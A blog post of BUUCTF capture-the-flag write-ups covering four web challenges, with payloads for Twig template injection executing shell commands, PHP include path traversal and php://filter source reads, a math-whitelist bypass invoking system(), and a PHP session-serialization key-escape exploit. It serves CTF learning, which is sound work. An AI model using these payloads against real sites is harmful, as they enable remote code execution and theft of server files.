BUUCTF打卡

[BJDCTF2020]Cookie is so stable

根据提示关注Cookie

在输入框里输入{{7*7}}  页面上回显49

cookie里多了user

但直接用burp重发却没有,因为cookie里没有user,要根据前面的发现自己添加注入

 

是Twig模板

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

payloadCookie:   user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

[BSidesCF 2020]Had a bad day

 

说明是include函数,并且会给参数添加.php后缀

明白一个小知识:

<?php
	echo "123 page";
	include('6/../flag'.'.php')
?>

flag.php和6.php在同一目录下,6/../flag这么读,是把6作为一个目录,而不存在6这个目录,../后跳转到和6同级的目录,再/flag即可读到文件(这里目录名任意adasd/../flag)

再尝试读取源码,用伪协议

不能加.php后缀

php://filter/convert.base64-encode/resource=index

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

include要包含woofers或meowers或index

先找flag在哪

?category=woofersaaaaa/../flag

源代码里有说明包含到这个文件了,flag.php在当前目录下,接下来要把这个文件flag.php源码读出来,用伪协议

由于include要包含woofers或meowers或index,可以

利用php://filter伪协议可以套一层协议读取flag.php

php://filter/convert.base64-encode/indexadadad/resource=flag

[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 
php中可以把函数名通过字符串的方式传递给一个变量
$a='system';
$a('ls');

构造:?c=$_GET[a]($_GET[b])&a=system&b=tac /flag


base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

[安洵杯 2019]easy_serialize_php

https://www.cnblogs.com/h3zh1/p/12732336.html

f=phpinfo

d0g3_f1ag.php文件自动包含文件末尾,先读出这个文件

 

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

 代码中输出点:echo file_get_contents(base64_decode($userinfo['img']));

使$userinfo['img']=base64_encode('d0g3_f1ag.php')=ZDBnM19mMWFnLnBocA==

谁控制$userinfo['img']

extract($_POST);

      变量覆盖函数会将SESSION的键值对全部覆盖,无论前面有多少个,只传了一个的话,那SESSION里就只会有这一个键值对了

<?php
	$_SESSION["user"] = 'guest';
	$_SESSION['function'] = '123123';
	extract($_POST);
	var_dump($_SESSION);
?>

通过这个控制SESSION['img_path']

有这句话,我们不能设置GET的img_path,这样会将执行sha1重新赋值,但是我们可以执行第一个base64_encode('guest_img.png');

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

base64_encode('guest_img.png')

$serialize_info = filter(serialize($_SESSION));

这句话可以序列化SESSION为字符串,并杯filter过滤,关键就在于filter过滤为空,使得我们可以在字符串上做手脚

$_SESSION['img'] = base64_encode('guest_img.png')这个变量是必有的,

但之前我们还可以通过extract($_POST)再传变量,后面一起序列化加过滤处理。

filter将字符串中的值过滤为空利用到了serialize的特性:

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

所以传一个_SESSION[php]=

 

 

尝试构造:

<?php
	$_SESSION["flag"] = 'guest';
	$_SESSION['img_path'] = base64_encode('guest_img.png');
	$a = serialize($_SESSION);
	echo $a;
?>

a:2:{s:4:"flag";s:5:"guest";s:8:"img_path";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

目的是获取:

a:2:{s:4:"flag";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";  前面补一补构造一下             后面这里要被扔掉 s:8:"img_path";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

前面filter后

a:2:{s:4:"";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";

没成功,字符串格式串错了

再来

a:2:{s:8:"flagflag";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; -->filter后

a:2:{s:8:"";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; 

还是不行,应该要构造出刚好s:xx:"xxxxx";  s:1:1;  s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";

先加一个s:1:1; 

a:2:{s:12:"flagflagflag";s:5:"guest";s:1:1;s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; -->filter后

a:2:{s:12:"";s:5:"guest";s:1:1;s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; 

这样子反序列化回去就是,当然这种奇怪的那么多符号的字符串当然会报错,假如没有那些语法,那应该刚好对应

_SESSION["";s:5:"guest"] = "1";

_SESSION["img_path"] = "ZDBnM19mMWFnLnBocA==";

官方说法 键逃逸~

所以我们在extract($_POST)时 ,其实payload肯定有很多,找到规律后慢慢修改磨合,

POST内容:

_SESSION[flagflagflag]=gues";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

读取到了当前目录下d0g3_f1ag.php,新提示

源码里新提示,把

base64_encode(/d0g3_fllllllag)的base64值替换进去L2QwZzNfZmxsbGxsbGFn,刚好也是20位

再来一次即可拿到flag

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值